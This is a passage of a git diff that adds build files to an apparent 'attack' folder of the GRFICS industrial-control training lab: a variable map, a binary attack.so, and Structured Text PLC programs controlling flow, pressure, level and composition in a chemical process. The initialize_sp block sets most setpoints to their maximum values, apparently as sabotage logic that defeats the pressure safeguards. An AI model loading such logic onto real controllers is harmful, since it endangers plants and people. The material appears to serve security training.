+409;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +410;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +411;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +412;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +413;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +414;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +415;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +416;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +417;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +418;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +419;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +420;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +421;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;REAL; +422;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;REAL; +423;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;REAL; +424;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;REAL; +425;EXT;CONFIG0.RES0.INSTANCE0.RUN_BIT;CONFIG0.RES0.INSTANCE0.RUN_BIT;BOOL; +426;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT0;CONFIG0.RES0.INSTANCE0.RUN_BIT0;BOOL; +427;FB;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;INITIALIZE_SP; +428;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;BOOL; +429;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;BOOL; +430;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;UINT; +431;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;UINT; +432;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;UINT; +433;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;UINT; +434;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;UINT; +435;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;UINT; +436;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;UINT; +437;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;UINT; +438;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;UINT; +439;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;UINT; +440;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;UINT; +441;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;UINT; +442;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;UINT; +443;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;UINT; +444;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;UINT; +445;VAR;CONFIG0.RES0.INSTANCE0.ADD87_OUT;CONFIG0.RES0.INSTANCE0.ADD87_OUT;UINT; +446;VAR;CONFIG0.RES0.INSTANCE0.GE91_OUT;CONFIG0.RES0.INSTANCE0.GE91_OUT;BOOL; +447;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;BOOL; +448;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;UINT; + + +// Ticktime +50000000 diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so new file mode 100755 index 0000000..584c89c --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h new file mode 100644 index 0000000..dd65176 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h @@ -0,0 +1,30 @@ +#ifndef _BEREMIZ_H_ +#define _BEREMIZ_H_ + +/* Beremiz' header file for use by extensions */ + +#include "iec_types.h" + +#define LOG_LEVELS 4 +#define LOG_CRITICAL 0 +#define LOG_WARNING 1 +#define LOG_INFO 2 +#define LOG_DEBUG 3 + +extern unsigned long long common_ticktime__; + +#ifdef TARGET_LOGGING_DISABLE +static inline int LogMessage(uint8_t level, char* buf, uint32_t size) +{ + (void)level; + (void)buf; + (void)size; + return 0; +} +#else +int LogMessage(uint8_t level, char* buf, uint32_t size); +#endif + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange); + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 new file mode 100644 index 0000000..8af5f5e --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 @@ -0,0 +1 @@ +5a438746873feeb5984adb25694ca5c9 \ No newline at end of file diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st new file mode 100644 index 0000000..93fa1aa --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st @@ -0,0 +1,612 @@ +TYPE + LOGLEVEL : (CRITICAL, WARNING, INFO, DEBUG) := INFO; +END_TYPE + +FUNCTION_BLOCK LOGGER + VAR_INPUT + TRIG : BOOL; + MSG : STRING; + LEVEL : LOGLEVEL := INFO; + END_VAR + VAR + TRIG0 : BOOL; + END_VAR + + IF TRIG AND NOT TRIG0 THEN + {{ + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + }} + END_IF; + TRIG0:=TRIG; +END_FUNCTION_BLOCK + + + +FUNCTION_BLOCK python_eval + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_poll + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_gear + VAR_INPUT + N : UINT; + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + py_eval : python_eval; + COUNTER : UINT; + ADD10_OUT : UINT; + EQ13_OUT : BOOL; + SEL15_OUT : UINT; + AND7_OUT : BOOL; + END_VAR + + ADD10_OUT := ADD(COUNTER, 1); + EQ13_OUT := EQ(N, ADD10_OUT); + SEL15_OUT := SEL(EQ13_OUT, ADD10_OUT, 0); + COUNTER := SEL15_OUT; + AND7_OUT := AND(EQ13_OUT, TRIG); + py_eval(TRIG := AND7_OUT, CODE := CODE); + ACK := py_eval.ACK; + RESULT := py_eval.RESULT; +END_FUNCTION_BLOCK + + +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + 